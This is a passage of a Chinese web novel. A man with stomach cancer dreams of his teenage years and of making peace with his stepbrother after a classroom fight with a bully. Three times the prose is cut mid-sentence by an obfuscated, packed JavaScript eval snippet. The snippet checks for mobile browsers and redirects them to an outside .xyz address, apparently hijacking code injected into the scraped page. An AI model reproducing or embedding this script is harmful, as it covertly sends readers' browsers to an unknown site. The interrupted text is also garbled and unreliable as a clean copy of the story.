;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505968|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 派出所里人不多,压抑的气氛蔓延着。 办事的窗口排了两个人的短队,陈舷走过去,站在最后面。 他往外看了一眼,黑车还停在那里,不知方谕在干什么。 陈舷沉默很久,往兜里按了按,忽然很想告诉方谕实情。 他刚犹豫起来,那辆黑车就一动,开走了。 陈舷下意识跟着动了动身子,又停在原地——他又叫不住方谕。 外头北风呼啸,天渐渐黑了下来。 办完销户手续,陈舷出了派出所,就近找了个酒店。 花宁酒店402房间的大床上,摊着一张销户证明,还有一张皱巴巴的诊断书,和几张检查单子。 卫生间里,水声不断。 陈舷趴在洗手台上,咳个不停。 他嘴巴里不停有血咳出来,落在洗手台里,被水冲了下去。 呕了几口,他气喘吁吁地停下来。可又有两股温热从鼻子里涌出来,陈舷伸手一抹,一片血红。 又流鼻血了。 他苦笑一声,捧着水冲洗起来。 大床上,那张被他摊开的、皱巴巴的诊断书上,白底黑字地写着: 【检查结论/诊断:胃癌】 - 陈舷是一个月前检查出的胃癌。 那时候感觉晴天霹雳,但他现在已经接受了事实。 胃癌是早期,但陈舷不想治了。 终于不流鼻血了,陈舷关上水龙头,拖着沉重的身体,晃晃悠悠地从卫生间出来,躺到了酒店的大床上。 他闭上眼,一阵困意袭来。 陈舷做了个梦。 做了一个乱七八糟混混沌沌的梦,梦里的画面七零八碎。 他梦见亲妈陈桑嘉和陈胜强坐在一起笑笑哈哈,然后一起慈祥地笑着看向他,摸着他的头喊他小乖喊他儿子,说他病好了,以后一定健健康康平平安安。 然后他回到了老房子的卧室里,睡了一会儿。再起床,他看见了方谕。十四岁的方谕站在客厅的窗台边上,打开着窗户,深秋早晨的风吹得他一激灵。陈舷走到窗户边上,低头,看见陈胜强满面红光地抱着方真圆进了车里,一骑绝尘,开走了车。 然后方谕转过身,突然给了他一巴掌。陈舷错愕地捂着脸抬头,就见方谕拧着眉盯着他,一脸冷冰冰的嫌恶。 他说陈舷,你以为你说得胃癌了我就要可怜你吗。 他说陈舷我可怜你的话谁可怜我,他问他说陈舷你凭什么说那种话。 他说陈舷你对得起我吗。 他说陈舷,你想死的话怎么还不去死啊。 他说陈舷,你去死吧,我做梦都盼着你去死。 他说陈舷,去死啊,你爸都盼着你去死。 去死啊,陈舷。 陈舷蹭地惊醒。 梦外一切安宁,他瞪着酒店安详的暖黄吊灯,脑子里钝钝的一片白。隔了很久,他感觉身上全湿了,再一抹脑门,抹了满手的汗,才发觉自己竟然出了一身冷汗。 胃又在痛了,手机也嗡嗡地响起来。陈舷坐起身来,拿起手机一看,是殡仪馆的人给他发了消息,说他昨天还没缴费。 陈舷把钱打了过去,又把账单发给了方谕——方谕不想欠他,那AA也好。 方谕很快把钱给他打了过来,陈舷也很快收下。 陈舷躺回床上,长叹一声。 手机又嗡了声。 陈舷拿了起来,一看,有新的好友申请。 备注里一句杀气腾腾的话: 【在哪儿?】 8. 破冰 陈舷不用过脑子都知道这人是谁。 他抽抽嘴角,默默把这个来加他的新号也拉黑,在床上翻了个身。 他睡了个回笼觉。 又做了个梦。 他梦见他十五岁那年。 * 和方谕住在同一个屋檐底下,一晃已经半个月。 但方谕一直对他冷着脸。 也对班里的人冷脸,不知道是不是因为陈舷。 班主任把他拉进了班群里,班长叶凡月也加了他,把方谕也拉进了没有老师的同学群里。 但方谕无视一切来自同学的示好,不论线上线下,都一言不发一声不吭,高冷得一度让人怀疑他是个哑巴。 到后来,班里许多男生女生们就都看不上他这个死装的态度,背地里给他起了个外号:死装哥。 当然,还有另一拨人——另一拨人屈服于方谕的脸,叫他冰山帅比,简称冰大帅。 听到这个外号,陈舷一口水喷出来,足足笑了一节课,笑得不敢抬头看老师。 不过方谕还是不理他们。 他每天沉默寡言得像被禁言了似的。 陈舷倒无所谓,反正不管方谕咋样,一不耽误他呼吸二不耽误他活着,顶多在家里有点尴尬。不过方真圆比他还尴尬,陈舷就更无所谓了。 反正尴尬的不是他。 陈舷这人,活得一向有种生不带来死不带去的随意感。 也行,都行,挺好,能活就活,不行就死——十四字真言,是他的人生信条。 方谕不理他,他也顺着他来,不理就不理。 但这天他写完作业玩电脑的时候,尚铭给他发了条消息。 小明同学:舷哥 小明同学:我仔细一数,我靠明天宗哲阳回来了啊 陈舷脑子一嗡,仔细一数。 我靠,还真是。 陈舷脸一垮,手里的游戏顿时不香了。他为难半晌,想了想方谕,琢磨了会儿,还是给他发了信息过去。 迫于他妈方真圆固执的坚持——或者说强力的逼迫,在新婚后第三天,方谕臭着脸,不情不愿地加了陈舷的微信。 陈舷把脑袋上的耳机薅下来,给他发了消息。 陈舷的微信昵称是个船的黄豆符号。 “船”:明天班里有个叫宗哲阳的要回来 “船”:就坐在跟你隔了个过道的那个空座上 “船”:你小心他一点 陈舷还正在打字。 他以为方谕不会回他,结果聊天框顶上,居然出现了【对方正在输入中】的字样。 陈舷一愣。 方谕冒了句回复出来。 无人守夜:他怎么了 陈舷乐了声。 “船”:你会回我啊 “船”:我都做好热脸贴冷屁股的准备了 “船”:他很混蛋,一个月前贴老师脸造黄谣嘚瑟,还跟同学打了一架,被停学了一个月,现在大板子上还有处分贴着呢,你明天可以去看看 大板子是学校一进门就能看见的两个板子。板子各自一米长,合在一起,成了个两米长的大板子。 左边的板子是荣誉栏,贴满了学霸照片和荣誉。 右边的板子是耻辱柱,贴满了处分和通报批评。 方谕没再回他。 虽然【对方正在输入中】的提示亮起又灭了几次,但方谕没再发消息过来。 陈舷拿着手机等了一会儿,都没见他再说话。 于是陈舷放下手机,不管他了。 第二天一早起来,陈舷打着哈欠穿着睡衣,刚出卧室门,眼睛还没全睁开,就听见方真圆压低着声音:“转班?就因为这个你要转班?” ? 陈舷回头,一看,方谕居然还没走。 他抬头看看客厅里的表。已经五点半,平常这个时间,方谕早赶着比他早半个小时的那一班K3上学去了。 陈舷迷茫。 方谕背对着他,坐在门口一动不动,背影像个闹脾气的倔小孩。 方真圆站在他后面,也背对着陈舷。 俩人都没注意到他,方真圆语气不耐地继续说:“你知道转班多费劲,要花多少手续吗?你知道老陈费了多大劲,才把你塞进陈舷那个班里吗?就因为一个不知道是不是重名的同学,你就要转班?” “小鱼,你懂点事儿好不好?我才跟你后爸结婚多久,你就要闹这么麻烦的事?” “这几天也是,你天天拉着个脸,给谁看呢?妈妈给你从乡下接出来,让你住上大房子,你还不乐意了!也不愿意叫老陈一声爸,和陈舷也是,天天绕着他走,给他拉着个脸!” “这幸亏是陈舷和他爸脾气好,要是换个脾气不好的,早又把你给打了!” 又。 陈舷捕捉到关键词,顿时不困了,站在原地一动不动,竭力不发出一点儿声音。 方谕没吭声,只是坐在那里。 “再说了,要是真转班,我怎么跟你后爸说?他会信你这个说法?这看着不就是你嫌弃陈舷,要跟他分班吗?他该怎么想我们?陈舷又该怎么想——……” 话说着,她就义愤填膺地回头指向陈舷的卧室。 这一回头,俩人尴尬地四目相对。 偷听被发现了,陈舷默了片刻,尴尬地抬手:“早,妈。” “……早。”方真圆尴尬地笑了两声,“你起了啊……我把你吵醒了吗?” “没有,我自然醒。”陈舷也呵呵笑了两声,看向方谕,“那个,你认识宗哲阳?” 方谕撇头看了他一眼。 他那双丹凤眼还是冷漠。 “不认识。” 他边说边起身,拿起旁边的书包,站起来走出了门。 门被他吱呀关上。 屋子里一片寂静。 门外,方谕的脚步渐行渐远。 陈舷忽然想起来——宗哲阳,也是上个学期转学来的。 天渐渐冷了,天亮的越来越晚。坐上公交车的时候,天边亮了一小半,破晓的光乍破大地。 公交车颠簸地朝着学校开,车里的空气有尘埃飘飘浮浮。走在前头的座位上,陈舷回了回头。 方谕坐在后面。今天他出门晚了,不得已和陈舷坐了同一辆。 他皱着眉低着头,捏着手机看,神色很差,一双丹凤眼底下挂着两圈浓重的黑,像一晚上没睡。 到了学校,陈舷一屁股坐在座位上,重重叹了口气。 班里都难得地低气压,大伙都有气无力——宗哲阳一回来,他们班全都别想安生。 过了几分钟,尚铭也苦着脸进了教室,坐到陈舷旁边,一脸的想死。 “宗哲阳还没来?”他看向那个空位。 “没有。”陈舷说,“你忘了?他一向踩着铃来。” “对哦。” 说话间,教室的门又拉开了。 方谕也黑着一张脸进来了。这位更是重量级,身上的低气压比他们整个班的人加起来都重。 “哎哟我去,”尚铭小小的惊呆,“冰大帅怎么都这样,难不成谁跟他说了宗哲阳了?谁啊,闲的蛋疼吗,真是狗拿耗子多管闲事。” 宗哲阳的光辉事迹十分精彩。 狗拿耗子的始作俑者坐在他旁边,一阵失语后:“不知道。” 方谕刚坐下,教室门又被拉开。 这次哐当一声巨响,门重重摔在墙上。 一个瘦瘦高高满脸麻子,长得尖嘴猴腮,眼睛细小的学生站在门前。 他哈哈大笑一声,一撸自己的板寸头,嘴里吧唧吧唧嚼着口香糖,嘚嘚嗖嗖地走进来喊:“老子回来了!有没有掌声!” 全班鸦雀无声。 陈舷看他一眼都头疼,默默撇过头。 “舷哥!”宗哲阳喊他,“好久不见啊!不跟兄弟打个招呼吗!” 谁跟你兄弟了! 宗哲阳手插着兜,朝他走过来,很自来熟地一拍他肩膀:“大课间打球去啊!” 陈舷硬着头皮抬起头,呵呵地干笑:“有事,有事。” “哎呀,有什么事儿能比打球重要!反正第三节课那个老头也不管人,咱们逃课呗!”宗哲阳满不在乎,“老橙子也喜欢你,你逃课被发现,撒个娇,咱们一帮兄弟就算旷课一天,都能没事儿!” 老橙子是班主任程慧丽,她相当喜欢陈舷。 虽然陈舷成绩不好。 陈舷快窒息了,心说程慧丽再喜欢他,他也不能这么嘚瑟。 他偷偷朝尚铭挤眉弄眼两下,“兄弟救我”四个字写满眼中。 尚铭反应迅速,立刻转移话题:“再说再说,哎我跟你说宗哲阳,咱班来了个转学生!就坐在跟你隔了个过道的那边!” 他边说边往宗哲阳位置上一指,语气十分夸张:“老帅了!你赶紧看看去!” 宗哲阳直起身。 陈舷忽然想起早上的事,也跟着转头一看。 方谕居然从座位上站了起来。他拿起书包收起座位,看起来是要走。 尚铭刚刚这一句话挺大声,班里所有人都听到了。 方谕动作一顿,停在原地。 陈舷一怔。 方谕低着头,手摁着椅子背停在那儿。 一股无所适从的失措感,从他那边扑面而来。 他头很低,宗哲阳愣了一会儿。 “方谕?” 宗哲阳眼睛蓦地一亮,笑出声来。他松开陈舷,转头朝方谕走过去,眉毛一挑,语气轻浮:“哟,这不是方谕吗?” 班里人齐齐一愣。 “不记得我啊?”宗哲阳嘚嘚瑟瑟地蹦跳几下,跳到他跟前,笑着说,“我啊,咱俩初中一个班的。” 陈舷大惊。 方谕深吸一口气。 他重新拉开椅子,把书包放了回去,抬起头。 方谕脸色发黑,眉眼深沉。 陈舷愣了下,他居然从方谕脸上看出了杀气。 “你想干什么。” “干嘛啊,说话这么冲。”宗哲阳笑着,“这么怕我?哦对,这个班里还没人知道呢吧?你爸还没来过学校吧?” 方谕眉头皱得更深。 他偏开眼睛,看了眼陈舷。 陈舷当然在看他,两人四目相对——很不合时宜地,陈舷在他眼睛里看到一抹一闪而逝、又十分惊心的恐慌。 “怎么样,兄弟。” 宗哲阳突然伸手,一把揽住他的肩膀。方谕比他高些,这一揽,方谕就猝不及防地一踉跄,被迫低下脑袋,被他夹在怀里。 “给点儿钱花花,”宗哲阳邪笑着,两只手指碰在一起搓了搓,“哥们有个游戏想抽奖。” 方谕眉头一拧,一把将他推开。 “滚!”他骂。 宗哲阳被他一推,推到后面的桌椅上。他撞了上去,疼得嘶了一声。 宗哲阳恼了:“哎哟,现在挺厉害啊!不听我的是吧?你问问这班里,哪个敢不听老子的!?” 气氛顿时剑拔弩张。 方谕紧咬着唇,死瞪着他。 “我去我去我去,”尚铭小声地狂怼几下陈舷,“我靠我靠,舷哥,什么情况?” “闭嘴。”陈舷捂住他的嘴,目不转睛地瞪大眼睛,大气都不敢出,生怕错过一个字。 方谕盯着他,脸色黑得要滴墨,但一言不发。 “你拿不拿钱?”宗哲阳大声嚷嚷。 方谕不吭声,眼睛一直瞪着他。 “不拿钱是吧?”宗哲阳说,随后向四周一展臂,哈地一笑,喊,“哎,你们是不是以为这个方谕长得挺帅,人挺好?我告诉你们啊,他是他妈在外头的私生子!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505969|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈舷蓦地瞪大眼睛。 方谕脸色一白。 “他根本就不是他爸亲生的!”宗哲阳哈哈大笑起来,指着他的鼻子,“以前我们上初一军训,他爸直接进学校里面来找他,差点没把他打死,笑死我了!” “他就是个婊.子生的,他爸亲口说的!哈哈哈哈哈!” “宗哲阳!” 方谕急得喊他,脸上白得毫无血色。 “现在知道错了?”宗哲阳嘻嘻笑着,“来啊,给我拿钱,拿了我就不说了!” 方谕一顿,再次咬紧下唇,瞬间冷汗大颗大颗地往下落。 “不拿是吧?”宗哲阳转头又喊,“我告诉你们,他爸可说了,这就是个不知道跟哪个生的野种!他妈搞破鞋搞出来的!” 陈舷腾地站起来。 尚铭一愣,一转头,看见陈舷脸也黑了。 “舷哥?” 陈舷拉开椅子,腾腾地朝着宗哲阳走过去。 “他妈长得就跟个接客的似的!” 陈舷走到宗哲阳身后。 “他长成这样,以后肯定也要出去卖——啊!” 陈舷拽过他的后衣领子,二话不说,将他往后一扔,抬脚狠狠踹上他后背。 宗哲阳嗷一嗓子,当场被踹飞出去。他趴到地上,后背上已经清晰地印上了陈舷的鞋底子。 “说完没有?”陈舷冷着脸,“你又开始了是吧,没完了是吧?来个人你就造谣?走,跟我去老班那儿。” “你有病吧陈舷!” 宗哲阳一个扑腾翻过身,对着他怒骂,“关你屁事,我在这儿跟方谕说话,你谁啊你,多管闲事什么!” “我是他哥!”陈舷扯着嗓子骂起来,“你再说他一个试试!?” 空气凝固一瞬。 突然,世界安静了。 宗哲阳笑出声来:“你?他哥?骗鬼吧你!你天天在班里装老大,现在真以为自己是老大哥了?真以为自己人缘好啊?谁不知道你就是个孤儿?开家长会你没人来,运动会也没人来!孤儿东西!” 陈舷皱皱眉,刚想说什么,突然肩膀被猛地一按。 他被往后一推,就见方谕拽过宗哲阳的领子,一拳头砸了上去。 “!?” 陈舷吓了一跳,忙喊,“方谕!别真动手啊!方谕!!” 尚铭突然一摔书包,气得老脸通红,跟大傻春似的大叫起来:“打他!” 一帮十四五的少年瞬间热血沸腾,蜂拥而上:“揍他!!” “我草你爹的宗哲阳,老子忍你很久了!” “欠我的五十块要拖多久啊!” “你爹个吊你再说我闺蜜对你有意思试试!!” “你个超雄你个巨婴,我揍死你!” “哎!!” ——陈舷被挤出人群。 一群人已经围在一起,狂殴宗哲阳。 事态失控,叶凡月赶紧跑了出去。 “都别打了!”陈舷捂着脑袋,欲哭无泪得很无助,“叶子叫老师去了!别打了!!” 不锈钢的保温水杯被重重砸在办公桌上。 三个少年人站在办公室里,被重响砸得纷纷一哆嗦。 程慧丽气得红温了,瞪着眼骂:“大早上就打架!还群殴!?有本事了啊你们,方谕!你是不是有毛病!刚转学过来就给我玩群殴是吧!” “不是他,他能起头打这么狠嘛。”陈舷赔着笑低声挥挥手,又指指宗哲阳,“我打的,他说我孤儿。” 宗哲阳一听,顿时不干,指着方谕,鼻青脸肿地大叫起来:“很么木数他!逗数他!” “闭嘴吧你,话都说不清了。” 陈舷推了他一把,不小心碰到他的伤口,宗哲阳又惨叫起来。 “行了!”程慧丽一拍桌子,指着陈舷和方谕,“你俩出去站着!滚!” 陈舷和方谕从善如流地滚出去了。 早自习已经开始,走廊里一片安静,办公室旁的三个教室里参差不齐地响着早读声。 陈舷站在办公室门旁,方谕站在他旁边。天大亮起来,橘黄的晨光里,走廊上的光尘飘飘浮浮,一股说不清是什么的味儿飘荡着。 两人站在一块儿,沉默很久。 陈舷偏偏脑袋,看了眼方谕。 方谕也偏来视线。 视线相撞,陈舷噗嗤笑出声来。 方谕也再忍不住了,同样笑出声来。 俩人捂着嘴巴,笑弯了腰。 他们一起蹲下去,笑了好久。 等到笑累了,方谕望着他:“我不是私生子。” “嗯?” “我跟我妈,长太像了。”方谕说,“我一点儿都不像他,所以他硬说我是私生的。我亲爸有病,特别不讲理,还打人。” “哦,这样。”陈舷点头,“但我是真没人管,我爸真不管我,我妈也不要我抚养权。我没人要。” 陈舷说这话时笑着,笑得眼睛都眯起来。他有双漂亮的狐狸眼,一笑就眼睛弯弯,细密的长睫被旁边的晨光一照,半张脸都融在暖洋洋的光芒中。 方谕看了他一会儿,忽然释然地呼出一口气来。 “哥。”方谕叫他。 陈舷愣住了。 “哥,”方谕又叫了他一声,“中午我请你吃饭吧,哥。” 早读声不绝于耳。 十五岁的陈舷怔怔地望着方谕。方谕蹲在晨光照不到的阴影里,衬得皮肤更加冷白,可那双看向他的丹凤眼亮了许多,再没有戒备与警惕——原来方谕这张凶脸,还能够这么柔和地看着谁。 要入冬了,学校里的梧桐树开始掉叶子,几片落叶顺着窗户掉进来。 陈舷笑着应下声来,说好。 他们是两只小兽。伤疤被毫不留情地揭开时,突然再也没了隔阂,开始抱在一起舔血。 9.回去 答应是答应下来了,但陈舷砸吧了两下嘴以后,“呀”了声。 “能不能吃上饭,还不一定。”他说,“没准,咱俩今天这学不用上了。” 方谕不解:“为什么?” “废话啊你,我们打架斗殴了。”陈舷伸着食指,在他胳膊上重重点了两下,“傻呀,小鱼,打了架肯定叫家长的,你还把宗哲阳揍成这熊样,多严重。” 他这一声“小鱼”,叫得方谕脸一拉,五官扭曲地龇牙咧嘴了下。 “你别这么叫我。”方谕一脸牙疼。 陈舷嘿嘿地笑,不以为意,还跟个傻狗似的摇头晃脑两下,又拿胳膊肘怼怼他:“哎,一会儿要是拎咱俩进去审问,你别承认是你打的。你就说,是我先上去动的手。” “为什么?”方谕又问。 “……你是真傻呀你。”陈舷啧了声,“你早上刚在家里跟你妈说了宗哲阳,你妈是怎么说的,还要我提醒你呀?” 方谕不吭声了。 “她肯定怪你,”陈舷说,“我就不一样了,她不好意思骂我的。再说,班主任也喜欢我,宗哲阳还有前科。要是说是我动的手,不管咋样,我处分肯定比你轻。你还刚转学过来,没几天就背个处分,多不好看。我就不一样了,我没脸没皮,还是这沙比学校的原住民,不怕那些。” 方谕半信半疑:“能这么顺利吗,真的是我先动的手啊。” “学校又没监控!”陈舷被他整得懊恼起来,“我发现你怎么脑子那么死呢,你就硬说是我先动的手,咬死这事儿,没事的!宗哲阳他本来就有毛病,那小嘴儿一张就是天天造谣,没人信他的!你信你哥的!” “叫人来对质怎么办?”方谕犹豫。 “那没事,”陈舷说,“我打信号就行,咱班唯一的优点就是团结。” * 第一节课上了一半的时候,走廊里响起一阵噔噔的急促脚步声。 办公室的门被匆忙推开,方真圆满头大汗地跑了进来。 她抬眼一瞧。 陈舷和方谕,还有一个被揍成猪头看不出到底长什么样的少年,仨人并排靠墙站着。 方真圆狠狠瞪了方谕一眼,转头赶紧向程慧丽赔笑:“不好意思老师,这孩子我带回去,肯定好好教育!您千万别给他记处分……” “这你得跟对方家长商量。”程慧丽看了她一眼,回头挖了眼陈舷,“就算这位同学有做得不对的地方,那也不能这么打。” “是是是,您说的是。”方真圆说,“方谕,赶紧给同学道歉!像什么话,才转学过来几天……” 程慧丽:“……不是他。” 方真圆表情一滞:“啊?” “是陈舷。”程慧丽朝陈舷撇了撇脑袋。 方真圆的表情顿时青了一阵。 陈舷摸摸鼻子,努力憋住笑,往前一步,出了列,把两手放到身前,像酒店迎宾的似的,朝着猪头宗哲阳深深鞠了一躬:“对不起。” “我不该因为你说我是孤儿就打你,也不该因为你要抢我弟弟的钱就打你。” 方真圆的脸更青了。 最后,这事儿没再过问方谕。 陈舷也没再道歉,第一节课下了课以后,他跟方谕俩人被老师赶回了教室。宗哲阳没能回教室,还在办公室被扣着。 一进教室门,陈舷就对着叶凡月虔诚地拜了几拜。 “多谢女王!”他极其夸张地拱手。 “行了行了,快一边去。”叶凡月哭笑不得地把他推开,又问,“没说你什么吧?” “没啥,你走以后,程姐就直接叫家长了。”陈舷直起身来,一脸感动,“还得是叶姐,感谢叶姐帮我遮掩。” 刚刚在办公室里,叶凡月被程慧丽叫了过去,询问情况。 她刚站到程慧丽跟前,话还没说一句,陈舷赶紧咳嗽了声。 叶凡月转头望向他。 陈舷做作地抹了一把脸,伤心欲绝:“我第一个出手打他,还不是因为他骂我孤儿?关方谕什么事,他真能胡编乱造。老师你不能这样,这个姓宗的天天满嘴胡话你又不是不知道……” 程慧丽狠狠一瞪他:“把嘴闭上!” 宗哲阳也骂起来:“你他大爷说什么!陈舷你是不是有——” 程慧丽又说:“你也闭嘴!!” 宗哲阳也不得不把嘴闭上了,一脸不服。 “你说,”程慧丽气呼呼地转过头,对着女孩又放软语气,“别怕,实话实说,到底是谁先动的手?” 叶凡月多望了陈舷一眼。 老师看不见的地方,陈舷十分用力地对她挤眉弄眼了下,做了个口型,还伸出食指,使劲往自己身上指了指。 全、是、我。 叶凡月深以为然地一仰头,坚定无比:“是陈舷,招呼大家群殴宗哲阳的也是陈舷。” 陈舷脸色一亮,站在程慧丽后边,偷偷咧嘴一乐,给她比了个大拇指。 * 方谕拍了拍陈舷的肩膀,算是跟他打了个招呼,然后转身就回了自己座位上。 等他走远了些,叶凡月才把身子往前探了探,不解问道:“舷哥,尚铭我理解,你俩铁哥们,你帮他担下来无可厚非。但你为什么包庇他?冰大帅没给过你好脸啊。” “家家有本难念的经嘛。”陈舷呵呵笑。 陈舷和方谕没能在教室里留很久,第二节课上一半,他俩又被叫走了,方真圆开车带他俩回了家。 车上,方真圆愁眉苦脸,好几次欲言又止,连连瞟了好几眼后视镜里的陈舷。 陈舷十分想笑。 果然和他想的一样,方真圆不敢骂他。 到最后,方真圆也只是叹气,说:“我还是要跟你爸说一下。” “说吧。”陈舷点头。 车子开到了家楼下。 回到家里,方真圆就拿出手机,给老陈打了电话。 陈舷放下书包,转头去厨房里打开冰箱,拿了两罐可乐。方谕正好也过来了,他递给方谕一罐。 方谕很有礼貌地把他的手推开。 “我不喝带气的。”他说。 “哦,这样。”陈舷把可乐放回去,把一瓶橙汁拿出来给他,这也是方真圆特意买的。 方谕接了过去。 他一边拧开盖,一边回头担忧地睨了眼走到阳台边上打电话去的方真圆:“没事吗?” “没事儿,打去吧。”陈舷笑着,“事出有因,我爸不会太认真。” 方谕拿起橙汁喝了口,转头望了眼方真圆。 她背着身子,和电话那头说着话。 电话打出去了,但老陈没回来。 老陈挺忙,他开了家装修公司,白天的时候都得去跑业务,很多时候晚上也得应酬,忙得脚不沾地,没空教育陈舷。 不过方真圆嫁到家里来以后,老陈收敛了很多,有很多个晚上六七点的时候就回来了。 家里只有陈舷这个半大小子的时候,老陈往往十一二点才回家。 今天也一样。 等到晚上天黑下来,老陈才回来。 听见门开的动静,陈舷走出门来。 老陈刚在门口换好鞋。 抬头看见陈舷,他眼神如常,没说什么,只是抬手摘掉脖子上的围巾,随口问道:“打架了?” 陈舷点了头。 “他骂我孤儿,”陈舷说,“本来这个还能忍,但是他好像跟方谕认识,说让他给钱,不然就怎么怎么样。” “要怎么样,我没听到。但我听着是威胁啊,一个没忍住就动手了。” 一搬出方谕,陈胜强顿时也没话说了。 陈舷往他旁边看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507643|170483||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,就见方真圆表情复杂。 方谕下午时被方真圆谈过人生了,在他的卧室里。 这个新房隔音没那么好,陈舷坐在隔壁,即使方真圆把声音压得很低,他也听到了些只言片语。 他听见方谕告诉方真圆,宗哲阳都说了什么。 方真圆好半天没说话。 这会儿,她也没说话。 陈胜强看了她一眼。 方真圆想了想,凑近过去,嘟囔着跟他咬了会儿耳朵。 陈舷站在不远处,听不见她究竟在说什么,但陈胜强眼里肉眼可见地浮起一片五味杂陈——方真圆多半是跟他说了方谕被威胁的内容。 有关方谕他亲爸,她的前夫。 陈胜强一定是知道的。 所以他也表情复杂地抿了会儿嘴,对陈舷挥挥手:“打赢了就行,这回算你讲义气。下回文明点儿解决,这次就算了,你不用再管了。” 方谕真好用。 陈舷点了点头,嘴一咧乐起来,贱不次喽地晃悠两下肩膀,说了句“谢谢老爸爱你明天见”,转头就窜进了屋子里。 陈胜强在屋外头笑出声来,骂了句“没正经的玩意儿”。 关上门,陈舷靠到门后边,打开手机,给方谕发了个“强壮”加“学生”加“比耶”的一连串三个黄豆表情,以此宣告他这次的全面胜利。 方谕给他回了个敬礼的黄豆表情。 陈舷吃吃笑起来。 紧接着,方谕又给他发了一条。 无人守夜:明天一起走。 陈舷眼睛一亮:包的 ——一股腥甜突然涌上喉咙。 好像有把刀捅进了胃里,顿时,一阵撕裂的痛楚。 陈舷一个激灵,从梦里惊醒。 他痛得身子像虾似的一缩,捂住嘴,赶紧翻身下床,踉踉跄跄跑进卫生间,冲到洗手台前,呕地一口血吐了出来。 一口口的血落进水池里,落下的瞬间绽成狰狞的花。 陈舷呕了半晌,终于吐了个干净。 他没了力气,打开水龙头冲掉血后,人就抓着洗手台的边缘,慢慢坐到了地上。 他仰头躺到洗手间冰凉的地板上,喘着粗气缓了一会儿。视野里,挂在天花板上的灯明亮刺眼,惹得视线里变得一片模糊,重影阵阵。 陈舷脑子不太清醒,恍恍惚惚地忽然分辨不清自己在哪儿。 他好像又闻见花香味儿了,听见窗外的鸟叫声,听见方真圆在厨房里咚咚锵锵。他转头,似有似无地看见不远处有张书桌,书桌上的花瓶里插着花。 十五岁的时候,方真圆在他书桌上摆了个花瓶,总喜欢时不时地给他插上两朵花。 有时候是三角梅,有时候是小白菊,有时候是陈舷叫不出名字的漂亮花朵。 后来方真圆懒得弄了,瓶子就那么空了下来。 方谕看他花瓶总空,后来就子承母业的也给他买花回来,插上。 陈舷眼神麻木发空地望着那虚无缥缈的花瓶,知道自己又出幻觉了。 思绪控制不住地飘回十二年前,他又想起和方谕破冰那天。 想起空气里飘飘浮浮的灰尘,想起教室里传出的此起彼伏的早读声。那时方谕第一次对着他笑出声来,笑得直不起腰,笑着叫他哥。 那时候方谕十四岁,丹凤眼还很嫩,没有很锐利,在太阳照不到的地方亮晶晶地望着他。 好想回去啊。 陈舷呆呆地望着眼前。 那时候什么都还没发生。 错果还没发芽,不该有的心思都还没出生。 方谕只是真诚地叫他哥,陈舷也只是真诚地应下来。十四五的小孩,打一架就冰释前嫌,互相露个口子便相互理解。 那时候他们心思单纯,什么都没多想。 真想回去。